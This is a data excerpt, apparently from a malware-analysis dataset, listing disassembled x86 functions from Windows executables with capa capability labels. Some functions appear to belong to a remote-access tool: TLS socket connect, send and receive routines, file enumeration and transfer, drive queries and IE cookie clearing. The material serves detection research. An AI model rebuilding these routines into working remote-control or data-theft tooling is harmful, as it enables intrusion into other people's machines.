joyce8/EMBER2024-capa huggingface dataset:
Function at 0x548770
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
add ebx, 0xffffffec
mov edi, dword [ebp + 8]
add edi, 0xffffffe8
xor eax, eax
push ebp
push 0x54919f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 0x60]
cmp byte [eax + 0x25], 0
je 0x5487cb
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
cmp byte [eax + 0xf2], 0
jne 0x5487cb
lea edx, [ebp - 4]
mov eax, dword [0x597eb4]
call fcn.0040680c
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov ecx, dword [eax]
call dword [ecx + 0x74]
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 0x60]
call fcn.00537df4
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
cmp dword [eax + 0x8c], 0
jne 0x548834
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
cmp dword [eax + 0x138], 0
jne 0x548834
push 0
push 0
push 8
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
add eax, 0x138
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 0x60]
mov eax, dword [eax + 0x18]
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.0054b1a4
call dword [eax + 0x5c]
add esp, 0x14
mov edx, eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.00547efc
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
cmp dword [eax + 0x13c], 0
jne 0x548880
push 0
push 0
push 9
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
add eax, 0x13c
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 0x60]
mov eax, dword [eax + 0x18]
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.0054b1a4
call dword [eax + 0x5c]
add esp, 0x14
mov edx, eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.00547efc
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
cmp dword [eax + 0xac], 0
je 0x54892e
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 0x60]
mov eax, dword [eax + 8]
cmp word [eax + 0x38], 0x2328
jb 0x54892e
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 0x60]
mov cl, byte [eax + 0x25]
mov eax, dword [ebp + 8]
lea edx, [eax - 8]
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 0xac]
call fcn.0052f658
mov dword [ebx], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
cld

Function at 0x54bbe0
Capabilities:
Terminate thread

Disassembly:
push ebx
push esi
add esp, 0xffffffe4
mov ebx, ecx
mov esi, edx
push 0
mov eax, dword [esi]
mov eax, dword [eax + 4]
push eax
call sub.kernel32.dll_TerminateThread
cmp eax, 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x54bc07
mov eax, dword [esi]
call fcn.004035c0
test bl, bl
je 0x54bc27
push 1
push 0x400
push 0x400
mov eax, dword [0x597634]
push eax
lea eax, [esp + 0x10]
push eax
call sub.user32.dll_PeekMessageA
mov al, 1
add esp, 0x1c
pop esi
pop ebx
ret
Function at 0x56eb68
Capabilities:
Reference sql statements

Disassembly:
push ebp
mov ebp, esp
mov ecx, 8
push 0
push 0
dec ecx
jne 0x56eb70
push ecx
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x56ed3e
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x1c]
mov edx, 0x56ed58
mov eax, esi
call fcn.00420098
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0xc]
call fcn.00408e98
lea ecx, [ebp - 0x20]
mov edx, 0x56ed70
mov eax, esi
call fcn.00420098
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0x10]
call fcn.00408e98
lea ecx, [ebp - 0x28]
mov edx, 0x56ed88
mov eax, esi
call fcn.00420098
mov eax, dword [ebp - 0x28]
lea edx, [ebp - 0x24]
call fcn.00408e98
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0x14]
call fcn.00408bd4
lea edx, [ebp - 0x18]
mov eax, dword [ebx + 0xc]
mov eax, dword [eax + 0x278]
call fcn.0054a6b4
lea eax, [ebp - 4]
call fcn.004043dc
mov eax, dword [ebp - 0x14]
mov edx, 0x56ed98
call fcn.004047f8
je 0x56ec24
mov eax, dword [ebp - 0xc]
push eax
push 0
lea edx, [ebp - 4]
mov ecx, 0x56eda8
mov eax, ebx
call fcn.004e32a0
jmp 0x56ec39
mov eax, dword [ebp - 0x18]
push eax
push 0
lea edx, [ebp - 4]
mov ecx, 0x56eda8
mov eax, ebx
call fcn.004e32a0
mov eax, dword [ebp - 0x10]
push eax
push 0
lea edx, [ebp - 4]
mov ecx, 0x56edb8
mov eax, ebx
call fcn.004e32a0
cmp dword [ebp - 4], 0
je 0x56ec61
lea eax, [ebp - 4]
mov edx, 0x56edcc
call fcn.004046b4
lea eax, [ebp - 8]
call fcn.004043dc
mov eax, dword [ebp - 0x14]
mov edx, 0x56ed98
call fcn.004047f8
je 0x56ecc4
cmp dword [ebp - 0xc], 0
jne 0x56ecc4
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x56eda8
mov dword [ebp - 0x3c], eax
mov byte [ebp - 0x38], 0xb
lea ecx, [ebp - 0x40]
mov dl, 0x27
mov eax, dword [ebp - 0x18]
call fcn.00408fe4
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x30], 0xb
lea edx, [ebp - 0x3c]
mov ecx, 1
mov eax, 0x56eddc
call fcn.0040a424
mov ecx, dword [ebp - 0x2c]
lea edx, [ebp - 8]
mov eax, ebx
call fcn.0056a9d4
lea edx, [ebp - 8]
mov ecx, 0x56ee08
mov eax, ebx
call fcn.0056a9d4
lea eax, [ebp - 0x44]
push eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x3c], eax
mov byte [ebp - 0x38], 0xb
mov eax, dword [ebp - 8]
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x30], 0xb
lea edx, [ebp - 0x3c]
mov ecx, 1
mov eax, 0x56ee24
call fcn.0040a424
mov edx, dword [ebp - 0x44]
mov eax, dword [ebx + 0xc]
mov ecx, dword [eax]
call dword [ecx + 0x22c]
mov eax, dword [ebx + 0xc]
call fcn.00491648
mov ebx, dword [ebx + 0xc]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x56ed45
lea eax, [ebp - 0x44]
mov edx, 2
call fcn.00404400
lea eax, [ebp - 0x2c]
mov edx, 0xb
call fcn.00404400
ret
Function at 0x570c28
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x18
push 0
push 0
dec ecx
jne 0x570c30
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x570ddc
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10]
mov dl, byte [esi + 0x41]
call fcn.00415b7c
lea ecx, [ebp - 0x10]
mov edx, 0x416
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0x6c]
lea eax, [ebp - 0x20]
xor edx, edx
mov dl, byte [esi + 0x40]
mov cl, 1
call fcn.004159ac
lea ecx, [ebp - 0x20]
mov edx, 0x3f0
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0x6c]
lea eax, [ebp - 0x30]
mov dl, byte [esi + 0x30]
call fcn.00415b7c
lea ecx, [ebp - 0x30]
mov edx, 0x413
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0x6c]
lea eax, [ebp - 0x40]
xor edx, edx
mov dl, byte [esi + 0x31]
mov cl, 1
call fcn.004159ac
lea ecx, [ebp - 0x40]
mov edx, 0x40
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0x6c]
lea eax, [ebp - 0x50]
mov edx, dword [esi + 0x34]
call fcn.00415be0
lea ecx, [ebp - 0x50]
mov edx, 0x412
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0x6c]
lea eax, [ebp - 0x60]
mov dl, byte [esi + 0x38]
call fcn.00415b7c
lea ecx, [ebp - 0x60]
mov edx, 0x3ff
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0x6c]
lea eax, [ebp - 0x70]
mov dl, byte [esi + 0x43]
call fcn.00415b7c
lea ecx, [ebp - 0x70]
mov edx, 0x409
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0x6c]
lea eax, [ebp - 0x80]
mov edx, dword [esi + 0x44]
mov cl, 0xfc
call fcn.004159ac
lea ecx, [ebp - 0x80]
mov edx, 0x40a
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0x6c]
lea eax, [ebp - 0x90]
mov edx, dword [esi + 0x48]
mov cl, 0xfc
call fcn.004159ac
lea ecx, [ebp - 0x90]
mov edx, 5
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0x6c]
lea eax, [ebp - 0xa0]
xor edx, edx
mov dl, byte [esi + 0x4c]
mov cl, 1
call fcn.004159ac
lea ecx, [ebp - 0xa0]
mov edx, 0x415
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0x6c]
lea eax, [ebp - 0xb0]
mov edx, dword [esi + 0x50]
call fcn.00415be0
lea ecx, [ebp - 0xb0]
mov edx, 0x414
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0x6c]
lea eax, [ebp - 0xc0]
mov edx, dword [esi + 0x54]
call fcn.00415be0
lea ecx, [ebp - 0xc0]
mov edx, 0x417
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0x6c]
mov eax, dword [esi + 0x28]
mov dword [ebx + 8], eax
mov eax, dword [esi + 0x2c]
mov dword [ebx + 0xc], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x570de3
lea eax, [ebp - 0xc0]
mov edx, dword [0x40111c]
mov ecx, 0xc
call fcn.00405078
ret
Function at 0x40170e
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x465a58]
sub esp, 0x1c
push ebx
push edi
push dword [eax + 0x10]
mov edi, ecx
push dword [eax + 0x18]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x401861
cmp byte [edi + 1], al
je 0x40185d
cmp byte [edi + 0x31], al
je 0x40176c
sub esp, 0x18
lea eax, [edi + 0x34]
mov ecx, esp
mov edx, str.TLS_Handshake...______
push eax
call fcn.00402a91
sub esp, 0x14
mov ecx, esp
push 0x459450
call fcn.00402178
call fcn.00413b81
add esp, 0x30
call fcn.004190ba
mov dword [edi + 0x4c], eax
test eax, eax
jne 0x401787
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_1
jmp 0x4018c1
mov edx, dword [edi + 4]
mov ecx, eax
call fcn.004192de
cmp eax, 1
je 0x4017cd
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_2
call fcn.00402178
sub esp, 0x18
mov ecx, esp
push 0x4593b4
call fcn.00402178
call fcn.00413b81
add esp, 0x30
mov ecx, dword [edi + 0x4c]
call fcn.00419100
and dword [edi + 0x4c], 0
jmp 0x4018dd
mov ecx, dword [edi + 0x4c]
call fcn.00419dbe
cmp eax, 1
je 0x40180a
sub esp, 0x18
mov ecx, esp
push str.TLS_Authentication_Failed
call fcn.00402178
sub esp, 0x18
mov ecx, esp
push 0x4593b4
call fcn.00402178
call fcn.00413b81
mov ecx, dword [edi + 0x4c]
add esp, 0x30
call fcn.00419507
jmp 0x4017bc
mov ecx, dword [edi + 0x4c]
call fcn.00419255
mov dword [edi + 0x50], eax
test eax, eax
jne 0x40183f
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_3
call fcn.00402178
sub esp, 0x18
mov ecx, esp
push 0x4593b4
call fcn.00402178
call fcn.00413b81
add esp, 0x30
xor ebx, ebx
push ebx
push 1
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push ebx
push 1
push ebx
push ebx
mov dword [edi + 0x70], eax
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [edi + 0x6c], eax
mov al, 1
jmp 0x4018df
cmp byte [edi + 0x31], 0
je 0x4018dd
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, eax
sub ecx, 0x2736
je 0x4018dd
sub ecx, 0x17
je 0x4018b7
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.00414e33
sub esp, 0x18
mov edx, str.Connection_Failed:
mov ecx, esp
push eax
call fcn.00402a6d
sub esp, 0x14
mov ecx, esp
push 0x4593b4
call fcn.00402178
call fcn.00413b81
add esp, 0x30
lea ecx, [ebp - 0x1c]
call fcn.00402091
jmp 0x4018dd
sub esp, 0x18
mov ecx, esp
push str.Connection_Refused
call fcn.00402178
sub esp, 0x18
mov ecx, esp
push 0x4593b4
call fcn.00402178
call fcn.00413b81
add esp, 0x30
xor al, al
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4018e7
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov edi, ecx
lea ecx, [ebp + 0xc]
call fcn.00402020
xor ebx, ebx
lea ecx, [ebp - 0x1c]
push ebx
push 0xc
lea esi, [eax + 4]
call fcn.0040214e
push ebx
lea ecx, [ebp - 0x1c]
call fcn.0040202d
mov ecx, dword [edi + 0x2c]
push 4
mov dword [eax], ecx
lea ecx, [ebp - 0x1c]
call fcn.0040202d
push 8
lea ecx, [ebp - 0x1c]
mov dword [eax], esi
call fcn.0040202d
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040206e
cmp byte [edi + 1], bl
jne 0x401964
push ebx
lea ecx, [ebp - 0x1c]
call fcn.00402020
push eax
lea ecx, [ebp - 0x1c]
call fcn.00402028
push eax
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_send]
mov esi, eax
jmp 0x40199f
or ebx, 0xffffffff
push ebx
push dword [edi + 0x70]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ecx
lea ecx, [ebp - 0x1c]
call fcn.00402020
push eax
lea ecx, [ebp - 0x1c]
call fcn.00402028
mov ecx, dword [edi + 0x50]
mov edx, eax
call fcn.0041948f
pop ecx
mov esi, eax
pop ecx
push dword [edi + 0x70]
test esi, esi
cmove esi, ebx
call dword [sym.imp.KERNEL32.dll_SetEvent]
lea ecx, [ebp - 0x1c]
call fcn.00402091
lea ecx, [ebp + 0xc]
call fcn.00402091
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x1c

Function at 0x4019ba
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, ecx
cmp byte [edi + 1], 0
je 0x4019f3
push 0xffffffffffffffff
push dword [edi + 0x6c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [ebp + 8]
push ecx
push dword [ebp + 0xc]
mov ecx, dword [edi + 0x4c]
call fcn.004194cb
pop ecx
pop ecx
push dword [edi + 0x6c]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, esi
jmp 0x401a04
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_recv]
pop edi
pop esi
pop ecx
pop ebp
ret 0xc

Function at 0x401a0b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [ecx + 8], eax
xor eax, eax
push eax
push eax
push ecx
push 0x401a2a
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret 4
Function at 0x401d6f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x5c], 0
jne 0x401e08
cmp byte [ebp + 0xc], 0
mov edi, dword [ebp + 8]
jne 0x401d92
mov byte [esi + 0x7c], 1
jmp 0x401dde
cmp byte [0x465a81], 0
je 0x401dde
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, edi
lea ecx, [ebp - 0x28]
call fcn.0041410a
sub esp, 0x18
mov edx, str.KeepAlive______________Enabled__Timeout:
mov ecx, esp
push eax
call fcn.00402a6d
sub esp, 0x14
mov ecx, esp
push 0x459450
call fcn.00402178
call fcn.00413b81
add esp, 0x30
lea ecx, [ebp - 0x28]
call fcn.00402091
mov dword [esi + 0x74], edi
xor edi, edi
push edi
push edi
push edi
push edi
mov byte [esi + 0x5c], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push edi
push edi
push esi
push 0x401f6e
push edi
push edi
mov dword [esi + 0x60], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
jmp 0x401e0a
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x404854
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
xor esi, esi
push edi
mov edi, ecx
mov eax, esi
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmmword [0x45fac0]
movups xmmword [edi + eax*4], xmm0
add eax, 4
cmp eax, 0x100
jl 0x404860
mov ebx, esi
xor edx, edx
mov eax, ebx
div dword [ebp + 0xc]
mov eax, dword [ebp + 8]
movzx eax, byte [edx + eax]
add eax, dword [edi + ebx*4]
add esi, eax
and esi, 0x800000ff
jns 0x4048a4
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [edi + ebx*4]
mov eax, dword [edi + esi*4]
mov dword [edi + ebx*4], eax
inc ebx
movzx eax, cl
mov dword [edi + esi*4], eax
cmp ebx, 0x100
jl 0x404881
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x4048c3
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
xor edx, edx
push ebx
push esi
push edi
mov esi, ecx
lea edi, [ebp - 0x400]
mov ecx, 0x100
mov ebx, edx
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp + 0xc]
mov edi, edx
add esi, 1
je 0x40495b
inc edx
and edx, 0x800000ff
jns 0x4048fd
dec edx
or edx, 0xffffff00
inc edx
mov eax, dword [ebp + edx*4 - 0x400]
add ebx, eax
and ebx, 0x800000ff
jns 0x404916
dec ebx
or ebx, 0xffffff00
inc ebx
mov cl, al
mov eax, dword [ebp + ebx*4 - 0x400]
mov dword [ebp + edx*4 - 0x400], eax
movzx eax, cl
mov dword [ebp + ebx*4 - 0x400], eax
mov ecx, dword [ebp + edx*4 - 0x400]
add ecx, eax
and ecx, 0x800000ff
jns 0x404949
dec ecx
or ecx, 0xffffff00
inc ecx
mov al, byte [ebp + ecx*4 - 0x400]
mov ecx, dword [ebp + 8]
xor byte [edi + ecx], al
inc edi
cmp edi, esi
jb 0x4048ec
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x404cf3
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x298
lea eax, [ebp - 0x298]
lea ecx, [ebp + 8]
push ebx
push esi
push eax
call fcn.00404c42
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x404d39
sub esp, 0x18
lea edx, [ebp + 8]
mov ecx, esp
call fcn.0041429c
push 0x54
mov ecx, 0x467dd0
call fcn.004018e7
jmp 0x404dfa
lea ecx, [ebp - 0x18]
call fcn.004021c9
lea eax, [ebp - 0x26c]
push eax
lea ecx, [ebp - 0x30]
call fcn.00403509
mov edx, 0x4595d4
mov ecx, eax
call fcn.00406adc
lea ecx, [ebp - 0x30]
mov bl, al
call fcn.004034ff
test bl, bl
je 0x404dc6
push 0x250
lea eax, [ebp - 0x298]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040219f
push eax
lea ecx, [ebp - 0x18]
call fcn.0040209b
lea ecx, [ebp - 0x30]
jmp 0x404dc1
push 0x250
lea eax, [ebp - 0x298]
push eax
lea ecx, [ebp - 0x48]
call fcn.0040219f
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.0040479d
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040209b
lea ecx, [ebp - 0x30]
call fcn.00402091
lea ecx, [ebp - 0x48]
call fcn.00402091
lea eax, [ebp - 0x298]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x404d8c
sub esp, 0x18
lea eax, [ebp - 0x18]
mov ecx, esp
push eax
call fcn.004021e0
push 0x50
mov ecx, 0x467dd0
call fcn.004018e7
lea ecx, [ebp - 0x18]
call fcn.00402091
lea ecx, [ebp + 8]
call fcn.004034ff
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404e08
Capabilities:
Delete file
Move file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x186ec
call fcn.0044aac0
push ebx
push esi
mov esi, ecx
lea edx, [ebp + 0x10]
push edi
xorps xmm0, xmm0
mov dword [ebp - 0xc], esi
xor ebx, ebx
movlpd qword [ebp - 8], xmm0
push 0x4595d8
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x14], ebx
call fcn.00406b5e
pop ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.00406547
lea ecx, [ebp - 0x44]
call fcn.004034ff
push ebx
push 0x80
push 2
push ebx
push ebx
push 4
lea ecx, [ebp - 0x2c]
call fcn.00404c42
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 4], ecx
ja 0x404ee2
mov edi, dword [ebp + 8]
jb 0x404e7c
cmp dword [ebp - 8], edi
jae 0x404ee2
push ecx
push 0x186a0
lea eax, [ebp - 0x186e8]
mov ecx, esi
push eax
call fcn.004019ba
mov esi, eax
cdq
add dword [ebp - 8], eax
lea eax, [ebp - 0x14]
push ebx
adc dword [ebp - 4], edx
push eax
push esi
lea eax, [ebp - 0x186e8]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esp, 0x18
lea eax, [ebp - 8]
mov ecx, esp
push 8
push eax
call fcn.0040219f
mov ecx, dword [ebp - 0xc]
push 0x57
call fcn.004018e7
test esi, esi
jle 0x404f1c
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp - 0xc]
cmp dword [ebp - 4], eax
jb 0x404e7c
ja 0x404edf
cmp dword [ebp - 8], edi
jb 0x404e7c
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp + 0x10]
call fcn.00404c42
push eax
lea ecx, [ebp - 0x2c]
call fcn.00404c42
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov bl, 1
lea ecx, [ebp - 0x2c]
call fcn.004034ff
lea ecx, [ebp + 0x10]
call fcn.004034ff
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x2c]
call fcn.00404c42
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x404f03

Function at 0x404f36
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push esi
push edi
mov esi, ecx
call fcn.004021c9
lea ecx, [ebp + 8]
call fcn.00402028
mov edi, eax
jmp 0x404fbd
push 0xa
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
push eax
call fcn.00437a48
add esp, 0xc
lea eax, [ebp - 4]
lea ecx, [ebp - 0x4c]
push 0x2d
push eax
call fcn.00402178
mov ecx, eax
call fcn.00402028
push eax
mov edx, esi
lea ecx, [ebp - 0x34]
call fcn.00406ba2
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.00406be6
pop ecx
push eax
mov ecx, esi
call fcn.0040209b
lea ecx, [ebp - 0x1c]
call fcn.00402091
lea ecx, [ebp - 0x34]
call fcn.00402091
lea ecx, [ebp - 0x4c]
call fcn.00402091
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc edi
add edi, eax
cmp byte [edi], 0
jne 0x404f51
lea ecx, [ebp + 8]
call fcn.00402091
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4083d5
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
lea ecx, [ebp - 0x18]
push ebx
push esi
call fcn.004021c9
push ecx
push str.Cookies
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
mov edx, connect
lea ecx, [ebp - 0x30]
xor bl, bl
call fcn.0040d033
add esp, 0xc
lea ecx, [ebp - 0x18]
push eax
call fcn.0040209b
lea ecx, [ebp - 0x30]
call fcn.00402091
mov edx, 0x459594
lea ecx, [ebp - 0x18]
call fcn.00403f83
test al, al
je 0x408442
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_not_found_
call fcn.00402178
call fcn.00408668
mov bl, 1
jmp 0x4084e0
push 0x104
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x18]
call fcn.00402028
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x408427
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x30]
call fcn.00402178
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x48]
call fcn.004141da
mov ecx, eax
call fcn.00404c42
mov ecx, eax
call fcn.0041474a
lea ecx, [ebp - 0x48]
mov esi, eax
call fcn.004034ff
lea ecx, [ebp - 0x30]
call fcn.00402091
test esi, esi
je 0x4084bb
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_cleared__
jmp 0x408431
push ecx
push 0x4599b0
call fcn.00408674
test eax, eax
je 0x4084e3
sub esp, 0x18
mov bl, 1
mov ecx, esp
push str._n_IE_cookies_cleared__
call fcn.00402178
call fcn.00408668
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00402091
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x408649
Capabilities:
Create thread

Disassembly:
xor eax, eax
push eax
push eax
push eax
push 0x4084f3
push eax
push eax
mov byte [0x465a72], al
mov dword [0x465a7c], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
ret

Function at 0x4087ef
Capabilities:
Check mutex on windows

Disassembly:
mov ecx, 0x467f60
call fcn.00402028
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
cmp eax, 0xb7
setne cl
mov eax, ecx
ret